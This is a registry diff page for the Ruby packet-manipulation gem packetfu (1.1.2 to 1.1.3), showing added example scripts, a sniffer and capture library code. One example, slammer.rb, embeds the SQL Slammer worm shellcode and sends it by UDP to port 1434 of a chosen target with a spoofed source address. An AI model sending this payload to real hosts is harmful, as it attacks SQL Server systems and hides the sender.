packetfu 1.1.2 → 1.1.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (67) hide show
  1. data/.gitignore +3 -0
  2. data/INSTALL.rdoc +40 -0
  3. data/LICENSE.txt +25 -0
  4. data/examples/100kpackets.rb +41 -0
  5. data/examples/ackscan.rb +38 -0
  6. data/examples/arp.rb +60 -0
  7. data/examples/arphood.rb +59 -0
  8. data/examples/dissect_thinger.rb +22 -0
  9. data/examples/ethernet.rb +10 -0
  10. data/examples/examples.rb +3 -0
  11. data/examples/ids.rb +4 -0
  12. data/examples/idsv2.rb +6 -0
  13. data/examples/new-simple-stats.rb +52 -0
  14. data/examples/oui.txt +84177 -0
  15. data/examples/packetfu-shell.rb +113 -0
  16. data/examples/simple-sniffer.rb +40 -0
  17. data/examples/simple-stats.rb +50 -0
  18. data/examples/slammer.rb +33 -0
  19. data/examples/uniqpcap.rb +15 -0
  20. data/lib/packetfu.rb +147 -0
  21. data/lib/packetfu/capture.rb +169 -0
  22. data/lib/packetfu/config.rb +58 -0
  23. data/lib/packetfu/inject.rb +65 -0
  24. data/lib/packetfu/packet.rb +533 -0
  25. data/lib/packetfu/pcap.rb +594 -0
  26. data/lib/packetfu/protos/arp.rb +268 -0
  27. data/lib/packetfu/protos/eth.rb +296 -0
  28. data/lib/packetfu/protos/hsrp.rb +206 -0
  29. data/lib/packetfu/protos/icmp.rb +179 -0
  30. data/lib/packetfu/protos/invalid.rb +55 -0
  31. data/lib/packetfu/protos/ip.rb +378 -0
  32. data/lib/packetfu/protos/ipv6.rb +250 -0
  33. data/lib/packetfu/protos/tcp.rb +1127 -0
  34. data/lib/packetfu/protos/udp.rb +240 -0
  35. data/lib/packetfu/structfu.rb +294 -0
  36. data/lib/packetfu/utils.rb +194 -0
  37. data/lib/packetfu/version.rb +50 -0
  38. data/packetfu.gemspec +21 -0
  39. data/setup.rb +1586 -0
  40. data/test/all_tests.rb +41 -0
  41. data/test/ethpacket_spec.rb +74 -0
  42. data/test/packet_spec.rb +73 -0
  43. data/test/packet_subclasses_spec.rb +13 -0
  44. data/test/packetfu_spec.rb +90 -0
  45. data/test/ptest.rb +16 -0
  46. data/test/sample-ipv6.pcap +0 -0
  47. data/test/sample.pcap +0 -0
  48. data/test/sample2.pcap +0 -0
  49. data/test/sample_hsrp_pcapr.cap +0 -0
  50. data/test/structfu_spec.rb +335 -0
  51. data/test/tcp_spec.rb +101 -0
  52. data/test/test_arp.rb +135 -0
  53. data/test/test_eth.rb +91 -0
  54. data/test/test_hsrp.rb +20 -0
  55. data/test/test_icmp.rb +54 -0
  56. data/test/test_inject.rb +31 -0
  57. data/test/test_invalid.rb +28 -0
  58. data/test/test_ip.rb +69 -0
  59. data/test/test_ip6.rb +68 -0
  60. data/test/test_octets.rb +37 -0
  61. data/test/test_packet.rb +174 -0
  62. data/test/test_pcap.rb +209 -0
  63. data/test/test_structfu.rb +112 -0
  64. data/test/test_tcp.rb +327 -0
  65. data/test/test_udp.rb +73 -0
  66. data/test/vlan-pcapr.cap +0 -0
  67. metadata +85 -6
@@ -0,0 +1,113 @@
1
+ # == Synopsis
2
+ #
3
+ # packetfu-shell.rb is intended for IRB consumption, and providing an
4
+ # interactive interface for PacketFu experimentation.
5
+ #
6
+ # == Usage
7
+ #
8
+ # irb -r packetfu-shell.rb
9
+ # or
10
+ # sudo irb -r packetfu-shell.rb
11
+ #
12
+ # If run as root, packet capturing/injecting is available, which includes
13
+ # access to Utils.whoami?
14
+ #
15
+ # Once loaded, the PacketFu module is mixed in, and Utils commands are
16
+ # aliased to the PacketFu module proper. Sessions look something like
17
+ # this:
18
+ #
19
+ # == Example
20
+ #
21
+ # irb(main):001:0> pkt = TCPPacket.new
22
+ # => 00 1a c5 00 00 00 00 1a c5 00 00 00 08 00 45 00 ..............E.
23
+ # 00 28 62 9d 00 00 ff 06 59 33 00 00 00 00 00 00 .(b.....Y3......
24
+ # 00 00 d4 fb 00 00 18 c6 32 86 00 00 00 00 50 00 ........2.....P.
25
+ # 40 00 4f 9d 00 00 @.O...
26
+ # irb(main):002:0> pkt.payload="I am totally up in your stack, twiddling your bits."
27
+ # => "I am totally up in your stack, twiddling your bits."
28
+ # irb(main):003:0> pkt.ip_saddr="1.2.3.4"
29
+ # => "1.2.3.4"
30
+ # irb(main):004:0> pkt.tcp_sport=13013
31
+ # => 13013
32
+ # irb(main):005:0> pkt.tcp_dport=808
33
+ # => 808
34
+ # irb(main):006:0> pkt.recalc
35
+ # => {"eth_src"=>{"oui"=>{"local"=>0, "oui"=>6853, "b0"=>0, "b1"=>0, "b2"=>0, "multicast"=>0, "b3"=>0, "b4"=>0, "b5"=>0}, "nic"=>{"n1"=>0, "n2"=>0, "n3"=>0}}, "body"=>{"ip_tos"=>0, "ip_src"=>{"o1"=>1, "o2"=>2, "o3"=>3, "o4"=>4}, "body"=>{"tcp_ecn"=>{"c"=>0, "n"=>0, "e"=>0}, "tcp_dst"=>808, "tcp_win"=>16384, "body"=>"I am totally up in your stack, twiddling your bits.", "tcp_flags"=>{"fin"=>0, "psh"=>0, "syn"=>0, "rst"=>0, "ack"=>0, "urg"=>0}, "tcp_hlen"=>5, "tcp_ack"=>0, "tcp_urg"=>0, "tcp_seq"=>415642246, "tcp_sum"=>51184, "tcp_reserved"=>0, "tcp_opts"=>"", "tcp_src"=>13013}, "ip_dst"=>{"o1"=>0, "o2"=>0, "o3"=>0, "o4"=>0}, "ip_frag"=>0, "ip_proto"=>6, "ip_hl"=>5, "ip_len"=>91, "ip_sum"=>21754, "ip_id"=>25245, "ip_v"=>4, "ip_ttl"=>255}, "eth_proto"=>2048, "eth_dst"=>{"oui"=>{"local"=>0, "oui"=>6853, "b0"=>0, "b1"=>0, "b2"=>0, "multicast"=>0, "b3"=>0, "b4"=>0, "b5"=>0}, "nic"=>{"n1"=>0, "n2"=>0, "n3"=>0}}}
36
+ # irb(main):007:0> pkt.to_f('/tmp/tcp-example.pcap')
37
+ # => ["/tmp/tcp-example.pcap", 145, 1, 1220048597, 1]
38
+ # irb(main):008:0> puts pkt.inspect_hex(2)
39
+ # 32 d5 03 28 7c 50 1f 01 00 00 00 00 50 00 40 00 2..(|P......P.@.
40
+ # 77 eb 00 00 49 20 61 6d 20 74 6f 74 61 6c 6c 79 w...I am totally
41
+ # 20 75 70 20 69 6e 20 79 6f 75 72 20 73 74 61 63 up in your stac
42
+ # 6b 2c 20 74 77 69 64 64 6c 69 6e 67 20 79 6f 75 k, twiddling you
43
+ # 72 20 62 69 74 73 2e r bits.
44
+ # => nil
45
+
46
+ $: << File.expand_path(File.dirname(__FILE__) + "/../lib/")
47
+ require 'examples'
48
+ require 'packetfu'
49
+
50
+ module PacketFu
51
+ def whoami?(args={})
52
+ Utils.whoami?(args)
53
+ end
54
+ def arp(arg)
55
+ Utils.arp(arg)
56
+ end
57
+ end
58
+
59
+ include PacketFu
60
+
61
+ # Draws a picture. Includes a nunchuck, so you know that it's serious.
62
+ # I /think/ this is how you're supposed to spell it in a kana charset.
63
+ # http://jisho.org/words?jap=+%E3%83%91%E3%82%B1%E3%83%83%E3%83%88%E3%83%95&eng=&dict=edict
64
+ #
65
+ def packetfu_ascii_art
66
+ puts <<EOM
67
+ _______ _______ _______ _ _______ _________ _______
68
+ ( ____ )( ___ )( ____ \\| \\ /\\( ____ \\\\__ __/( ____ \\|\\ /|
69
+ | ( )|| ( ) || ( \\/| \\ / /| ( \\/ ) ( | ( \\/| ) ( |
70
+ | (____)|| (___) || | | (_/ / | (__ | | | (__ | | | |
71
+ | _____)| ___ || | | _ ( | __) | | | __) | | | |
72
+ | ( | ( ) || | | ( \\ \\ | ( | | | ( | | | |
73
+ | ) | ) ( || (____/\\| / \\ \\| (____/\\ | | | ) | (___) |
74
+ |/ |/ \\|(_______/|_/ \\/(_______/ )_( |/ (_______)
75
+ ____________________________ ____________________________
76
+ ( ) ( )
77
+ | 01000001 00101101 01001000 )( )( )( )( )( 00101101 01000001 00100001 |
78
+ | )( )( )( )( )( |
79
+ (____________________________) (____________________________)
80
+ PacketFu
81
+ a mid-level packet manipulation library for ruby
82
+
83
+ EOM
84
+ end
85
+
86
+ @pcaprub_loaded = PacketFu.pcaprub_loaded?
87
+ # Displays a helpful banner.
88
+ def banner
89
+ packetfu_ascii_art
90
+ puts ">>> PacketFu Shell #{PacketFu.version}."
91
+ if Process.euid.zero? && @pcaprub_loaded
92
+ puts ">>> Use $packetfu_default.config for salient networking details."
93
+ print "IP: %-15s Mac: %s" % [$packetfu_default.ip_saddr, $packetfu_default.eth_saddr]
94
+ puts " Gateway: %s" % $packetfu_default.eth_daddr
95
+ print "Net: %-15s" % [Pcap.lookupnet($packetfu_default.iface)][0]
96
+ print " " * 13
97
+ puts "Iface: %s" % [($packetfu_default.iface)]
98
+ puts ">>> Packet capturing/injecting enabled."
99
+ else
100
+ print ">>> Packet capturing/injecting disabled. "
101
+ puts Process.euid.zero? ? "(no PcapRub)" : "(not root)"
102
+ end
103
+ puts "<>" * 36
104
+ end
105
+
106
+ # Silly wlan0 workaround
107
+ begin
108
+ $packetfu_default = PacketFu::Config.new(Utils.whoami?) if(@pcaprub_loaded && Process.euid.zero?)
109
+ rescue RuntimeError
110
+ $packetfu_default = PacketFu::Config.new(Utils.whoami?(:iface => 'wlan0')) if(@pcaprub_loaded && Process.euid.zero?)
111
+ end
112
+
113
+ banner
@@ -0,0 +1,40 @@
1
+ #!/usr/bin/env ruby
2
+ require 'examples'
3
+ require 'packetfu'
4
+
5
+ puts "Simple sniffer for PacketFu #{PacketFu.version}"
6
+ include PacketFu
7
+ iface = ARGV[0] || "eth0"
8
+
9
+ def sniff(iface)
10
+ cap = Capture.new(:iface => iface, :start => true)
11
+ cap.stream.each do |p|
12
+ pkt = Packet.parse p
13
+ if pkt.is_ip?
14
+ next if pkt.ip_saddr == Utils.ifconfig[:ip_saddr]
15
+ packet_info = [pkt.ip_saddr, pkt.ip_daddr, pkt.size, pkt.proto.last]
16
+ puts "%-15s -> %-15s %-4d %s" % packet_info
17
+ end
18
+ end
19
+ end
20
+
21
+ sniff(iface)
22
+
23
+ =begin
24
+ Results look like this:
25
+ 145.58.33.95 -> 192.168.11.70 1514 TCP
26
+ 212.233.158.76 -> 192.168.11.70 110 UDP
27
+ 88.174.164.147 -> 192.168.11.70 110 UDP
28
+ 145.58.33.95 -> 192.168.11.70 1514 TCP
29
+ 145.58.33.95 -> 192.168.11.70 1514 TCP
30
+ 145.58.33.95 -> 192.168.11.70 1514 TCP
31
+ 145.58.33.95 -> 192.168.11.70 1514 TCP
32
+ 8.8.8.8 -> 192.168.11.70 143 UDP
33
+ 41.237.73.186 -> 192.168.11.70 60 TCP
34
+ 145.58.33.95 -> 192.168.11.70 1514 TCP
35
+ 145.58.33.95 -> 192.168.11.70 1514 TCP
36
+ 8.8.8.8 -> 192.168.11.70 143 UDP
37
+ 8.8.8.8 -> 192.168.11.70 128 UDP
38
+ 8.8.8.8 -> 192.168.11.70 187 UDP
39
+ 24.45.247.232 -> 192.168.11.70 70 TCP
40
+ =end
@@ -0,0 +1,50 @@
1
+ #!/usr/bin/env ruby
2
+
3
+ # Simple-stats.rb takes a pcap file, and gives some simple
4
+ # stastics on the protocols found. It's mainly used to
5
+ # demonstrate a method to parse pcap files.
6
+ #
7
+ # XXX: DO NOT USE THIS METHOD TO READ PCAP FILES.
8
+ #
9
+ # See new-simple-stats.rb for an example of the streaming
10
+ # parsing method.
11
+
12
+ require 'examples' # For path setting slight-of-hand
13
+ require 'packetfu'
14
+
15
+ # Takes a file name, parses the packets, and records the packet
16
+ # type based on its PacketFu class.
17
+ def count_packet_types(file)
18
+ file = File.open(file) {|f| f.read}
19
+ stats = {}
20
+ count = 0
21
+ pcapfile = PacketFu::PcapPackets.new
22
+ pcapfile.read(file)
23
+ pcapfile.each do |p|
24
+ # Now it's a PacketFu packet struct.
25
+ pkt = PacketFu::Packet.parse(p.data)
26
+ kind = pkt.class.to_s.split("::").last
27
+ if stats[kind]
28
+ stats[kind] += 1
29
+ else
30
+ stats[kind] = 0
31
+ end
32
+ count += 1
33
+ break if count >= 1_000
34
+ end
35
+ stats.each_pair { |k,v| puts "%-12s: %4d" % [k,v] }
36
+ end
37
+
38
+ if File.readable?(infile = (ARGV[0] || 'in.pcap'))
39
+ title = "Packets by packet type in '#{infile}'"
40
+ puts title
41
+ puts "-" * title.size
42
+ count_packet_types(infile)
43
+ else
44
+ raise RuntimeError, "Need an infile, like so: #{$0} in.pcap"
45
+ end
46
+
47
+
48
+
49
+
50
+
@@ -0,0 +1,33 @@
1
+ #!/usr/bin/env ruby
2
+
3
+ # Fires off a slammer packet to an unsuspecting target. This code does not
4
+ # break real devices! (To do that, you'll need to fix up the targetting)
5
+ target = ARGV[0]
6
+ raise RuntimeError, "Need a target" unless target
7
+ action = ARGV[1]
8
+ raise RuntimeError, "Need an action. Try file or your interface." unless action
9
+
10
+ require 'packetfu'
11
+ include PacketFu
12
+
13
+ slammer = "\004\001\001\001\001\001\001" + "\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001" + "\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001" + "\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001" + "\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\334\311\260B\353\016" + "\001\001\001\001\001\001\001p\256B\001p\256B\220\220\220\220\220\220\220\220h\334\311\260B\270\001\001" + "\001\0011\311\261\030P\342\3755\001\001\001\005P\211\345Qh.dllhel32hkernQhounthickChGetTf" + "\271llQh32.dhws2_f\271etQhsockf\271toQhsend\276\030\020\256B\215E\324P\377\026P\215E\340P\215E\360P\377" + "\026P\276\020\020\256B\213\036\213\003=U\213\354Qt\005\276\034\020\256B\377\026\377\3201\311QQP\201\361" + "\003\001\004\233\201\361\001\001\001\001Q\215E\314P\213E\300P\377\026j\021j\002j\002\377\320P\215E\304P" + "\213E\300P\377\026\211\306\t\333\201\363<a\331\377\213E\264\215\f@\215\024\210\301\342\004\001\302\301" + "\342\b)\302\215\004\220\001\330\211E\264j\020\215E\260P1\311Qf\201\361x\001Q\215E\003P\213E\254P\377\326" + "\353\312"
14
+
15
+ def rand_source_ip
16
+ [rand(0xffffffff)].pack("N")
17
+ end
18
+
19
+ kill_packet = UDPPacket.new
20
+ kill_packet.eth_daddr = "00:1b:63:aa:bb:cc"
21
+ kill_packet.ip_daddr = ARGV[0]
22
+ kill_packet.ip_src.read(rand_source_ip)
23
+ kill_packet.udp_dst = 1434
24
+ kill_packet.recalc
25
+ kill_packet.payload = slammer
26
+
27
+ if action == 'file'.downcase
28
+ puts kill_packet.to_f
29
+ else
30
+ puts kill_packet.to_w(action.downcase)
31
+ end
32
+
33
+
@@ -0,0 +1,15 @@
1
+ # Uniqpcap.rb takes a pcap file, strips out duplicate packets, and
2
+ # writes them to a file.
3
+ #
4
+ # The duplicate pcap problem is common when I'm capturing
5
+ # traffic to/from a VMWare image, for some reason.
6
+ #
7
+ # Currently, the timestamp information is lost due to PcapRub's
8
+ # file read. For me, this isn't a big deal. Future versions
9
+ # will deal with timestamps correctly.
10
+ require 'examples' # For path setting slight-of-hand
11
+ require 'packetfu'
12
+
13
+ in_array = PacketFu::Read.f2a(:file => ARGV[0])
14
+ puts PacketFu::Write.a2f(:file => "uniq-" + ARGV[0], :arr => in_array.uniq).inspect
15
+
data/lib/packetfu.rb ADDED
@@ -0,0 +1,147 @@
1
+
2
+ # :title: PacketFu Documentation
3
+ # :main: README
4
+
5
+ cwd = File.expand_path(File.dirname(__FILE__))
6
+
7
+ $: << cwd
8
+
9
+ require File.join(cwd,"packetfu","structfu")
10
+ require "ipaddr"
11
+ require 'rubygems' if RUBY_VERSION =~ /^1\.[0-8]/
12
+
13
+ module PacketFu
14
+
15
+ # Picks up all the protocols defined in the protos subdirectory
16
+ def self.require_protos(cwd)
17
+ protos_dir = File.join(cwd, "packetfu", "protos")
18
+ Dir.new(protos_dir).each do |fname|
19
+ next unless fname[/\.rb$/]
20
+ begin
21
+ require File.join(protos_dir,fname)
22
+ rescue
23
+ warn "Warning: Could not load `#{fname}'. Skipping."
24
+ end
25
+ end
26
+ end
27
+
28
+ # Deal with Ruby's encoding by ignoring it.
29
+ def self.force_binary(str)
30
+ str.force_encoding "binary" if str.respond_to? :force_encoding
31
+ end
32
+
33
+ # Sets the expected byte order for a pcap file. See PacketFu::Read.set_byte_order
34
+ @byte_order = :little
35
+
36
+ # Checks if pcaprub is loaded correctly.
37
+ @pcaprub_loaded = false
38
+
39
+ # PacketFu works best with Pcaprub version 0.8-dev (at least)
40
+ # The current (Aug 01, 2010) pcaprub gem is 0.9, so should be fine.
41
+ def self.pcaprub_platform_require
42
+ begin
43
+ require 'pcaprub'
44
+ rescue LoadError
45
+ return false
46
+ end
47
+ @pcaprub_loaded = true
48
+ end
49
+
50
+ pcaprub_platform_require
51
+
52
+ if @pcaprub_loaded
53
+ if Pcap.version !~ /[0-9]\.[7-9][0-9]?(-dev)?/ # Regex for 0.7-dev and beyond.
54
+ @pcaprub_loaded = false # Don't bother with broken versions
55
+ raise LoadError, "PcapRub not at a minimum version of 0.8-dev"
56
+ end
57
+ require "packetfu/capture"
58
+ require "packetfu/inject"
59
+ end
60
+
61
+ # Returns the status of pcaprub
62
+ def self.pcaprub_loaded?
63
+ @pcaprub_loaded
64
+ end
65
+
66
+ # Returns an array of classes defined in PacketFu
67
+ def self.classes
68
+ constants.map { |const| const_get(const) if const_get(const).kind_of? Class}.compact
69
+ end
70
+
71
+ # Adds the class to PacketFu's list of packet classes -- used in packet parsing.
72
+ def self.add_packet_class(klass)
73
+ raise "Need a class" unless klass.kind_of? Class
74
+ if klass.name !~ /[A-Za-z0-9]Packet/
75
+ raise "Packet classes should be named 'ProtoPacket'"
76
+ end
77
+ @packet_classes ||= []
78
+ @packet_classes << klass
79
+ @packet_classes.sort! {|x,y| x.name <=> y.name}
80
+ end
81
+
82
+ # Presumably, there may be a time where you'd like to remove a packet class.
83
+ def self.remove_packet_class(klass)
84
+ raise "Need a class" unless klass.kind_of? Class
85
+ @packet_classes ||= []
86
+ @packet_classes.delete klass
87
+ @packet_classes
88
+ end
89
+
90
+ # Returns an array of packet classes
91
+ def self.packet_classes
92
+ @packet_classes || []
93
+ end
94
+
95
+ # Returns an array of packet types by packet prefix.
96
+ def self.packet_prefixes
97
+ return [] unless @packet_classes
98
+ @packet_classes.map {|p| p.to_s.split("::").last.to_s.downcase.gsub(/packet$/,"")}
99
+ end
100
+
101
+ # The current inspect style. One of :hex, :dissect, or :default
102
+ # Note that :default means Ruby's default, which is usually
103
+ # far too long to be useful.
104
+ def self.inspect_style
105
+ @inspect_style ||= :dissect
106
+ end
107
+
108
+ # Setter for PacketFu's @inspect_style
109
+ def self.inspect_style=(arg)
110
+ @inspect_style = case arg
111
+ when :hex, :pretty
112
+ :hex
113
+ when :dissect, :verbose
114
+ :dissect
115
+ when :default, :ugly
116
+ :default
117
+ else
118
+ :dissect
119
+ end
120
+ end
121
+
122
+ # Switches inspect styles in a round-robin fashion between
123
+ # :dissect, :default, and :hex
124
+ def toggle_inspect
125
+ case @inspect_style
126
+ when :hex, :pretty
127
+ @inspect_style = :dissect
128
+ when :dissect, :verbose
129
+ @inspect_style = :default
130
+ when :default, :ugly
131
+ @inspect_style = :hex
132
+ else
133
+ @inspect_style = :dissect
134
+ end
135
+ end
136
+
137
+
138
+ end
139
+
140
+ require File.join(cwd,"packetfu","version")
141
+ require File.join(cwd,"packetfu","pcap")
142
+ require File.join(cwd,"packetfu","packet")
143
+ PacketFu.require_protos(cwd)
144
+ require File.join(cwd,"packetfu","utils")
145
+ require File.join(cwd,"packetfu","config")
146
+
147
+ # vim: nowrap sw=2 sts=0 ts=2 ff=unix ft=ruby
@@ -0,0 +1,169 @@
1
+ module PacketFu
2
+
3
+ # The Capture class is used to construct PcapRub objects in order to collect
4
+ # packets from an interface.
5
+ #
6
+ # This class requires PcapRub. In addition, you will need root (or root-like) privileges
7
+ # in order to capture from the interface.
8
+ #
9
+ # Note, on some wireless cards, setting :promisc => true will disable capturing.
10
+ #
11
+ # == Example
12
+ #
13
+ # # Typical use
14
+ # cap = PacketFu::Capture.new(:iface => 'eth0', :promisc => true)
15
+ # cap.start
16
+ # sleep 10
17
+ # cap.save
18
+ # first_packet = cap.array[0]
19
+ #
20
+ # # Tcpdump-like use
21
+ # cap = PacketFu::Capture.new(:start => true)
22
+ # cap.show_live(:save => true, :filter => 'tcp and not port 22')
23
+ #
24
+ # == See Also
25
+ #
26
+ # Read, Write
27
+ class Capture
28
+ attr_accessor :array, :stream # Leave these public and open.
29
+ attr_reader :iface, :snaplen, :promisc, :timeout # Cant change after the init.
30
+
31
+ def initialize(args={})
32
+ @array = [] # Where the packet array goes.
33
+ @stream = [] # Where the stream goes.
34
+ @iface = (args[:iface] || ENV['IFACE'] || Pcap.lookupdev || "lo").to_s
35
+ @snaplen = args[:snaplen] || 0xffff
36
+ @promisc = args[:promisc] || false # Sensible for some Intel wifi cards
37
+ @timeout = args[:timeout] || 1
38
+
39
+ setup_params(args)
40
+ end
41
+
42
+ # Used by new().
43
+ def setup_params(args={})
44
+ filter = args[:filter] # Not global; filter criteria can change.
45
+ start = args[:start] || false
46
+ capture if start
47
+ bpf(:filter=>filter) if filter
48
+ end
49
+
50
+ # capture() initializes the @stream varaible. Valid arguments are:
51
+ #
52
+ # :filter
53
+ # Provide a bpf filter to enable for the capture. For example, 'ip and not tcp'
54
+ # :start
55
+ # When true, start capturing packets to the @stream variable. Defaults to true
56
+ def capture(args={})
57
+ if Process.euid.zero?
58
+ filter = args[:filter]
59
+ start = args[:start] || true
60
+ if start
61
+ begin
62
+ @stream = Pcap.open_live(@iface,@snaplen,@promisc,@timeout)
63
+ rescue RuntimeError
64
+ $stderr.print "Are you sure you're root? Error: "
65
+ raise
66
+ end
67
+ bpf(:filter=>filter) if filter
68
+ else
69
+ @stream = []
70
+ end
71
+ @stream
72
+ else
73
+ raise RuntimeError,"Not root, so can't capture packets. Error: "
74
+ end
75
+ end
76
+
77
+ # start() is equivalent to capture().
78
+ def start(args={})
79
+ capture(args)
80
+ end
81
+
82
+ # clear() clears the @stream and @array variables, essentially starting the
83
+ # capture session over. Valid arguments are:
84
+ #
85
+ # :array
86
+ # If true, the @array is cleared.
87
+ # :stream
88
+ # If true, the @stream is cleared.
89
+ def clear(args={})
90
+ array = args[:array] || true
91
+ stream = args[:stream] || true
92
+ @array = [] if array
93
+ @stream = [] if stream
94
+ end
95
+
96
+ # bpf() sets a bpf filter on a capture session. Valid arugments are:
97
+ #
98
+ # :filter
99
+ # Provide a bpf filter to enable for the capture. For example, 'ip and not tcp'
100
+ def bpf(args={})
101
+ filter = args[:filter]
102
+ capture if @stream.class == Array
103
+ @stream.setfilter(filter)
104
+ end
105
+
106
+ # wire_to_array() saves a packet stream as an array of binary strings. From here,
107
+ # packets may accessed by other functions. Note that the wire_to_array empties
108
+ # the stream, so multiple calls will append new packets to @array.
109
+ # Valid arguments are:
110
+ #
111
+ # :filter
112
+ # Provide a bpf filter to apply to packets moving from @stream to @array.
113
+ def wire_to_array(args={})
114
+ filter = args[:filter]
115
+ bpf(:filter=>filter) if filter
116
+
117
+ while this_pkt = @stream.next
118
+ @array << this_pkt
119
+ end
120
+ @array.size
121
+ end
122
+
123
+ # next() exposes the Stream object's next method to the outside world.
124
+ def next
125
+ return @stream.next
126
+ end
127
+
128
+ # w2a() is a equivalent to wire_to_array()
129
+ def w2a(args={})
130
+ wire_to_array(args)
131
+ end
132
+
133
+ # save() is a equivalent to wire_to_array()
134
+ def save(args={})
135
+ wire_to_array(args)
136
+ end
137
+
138
+ # show_live() is a method to capture packets and display peek() data to stdout. Valid arguments are:
139
+ #
140
+ # :filter
141
+ # Provide a bpf filter to captured packets.
142
+ # :save
143
+ # Save the capture in @array
144
+ # :verbose
145
+ # TODO: Not implemented yet; do more than just peek() at the packets.
146
+ # :quiet
147
+ # TODO: Not implemented yet; do less than peek() at the packets.
148
+ def show_live(args={})
149
+ filter = args[:filter]
150
+ save = args[:save]
151
+ verbose = args[:verbose] || args[:v] || false
152
+ quiet = args[:quiet] || args[:q] || false # Setting q and v doesn't make a lot of sense but hey.
153
+
154
+ # Ensure the capture's started.
155
+ if @stream.class == Array
156
+ capture
157
+ end
158
+
159
+ @stream.setfilter(filter) if filter
160
+ while true
161
+ @stream.each do |pkt|
162
+ puts Packet.parse(pkt).peek
163
+ @array << pkt if args[:save]
164
+ end
165
+ end
166
+ end
167
+
168
+ end
169
+ end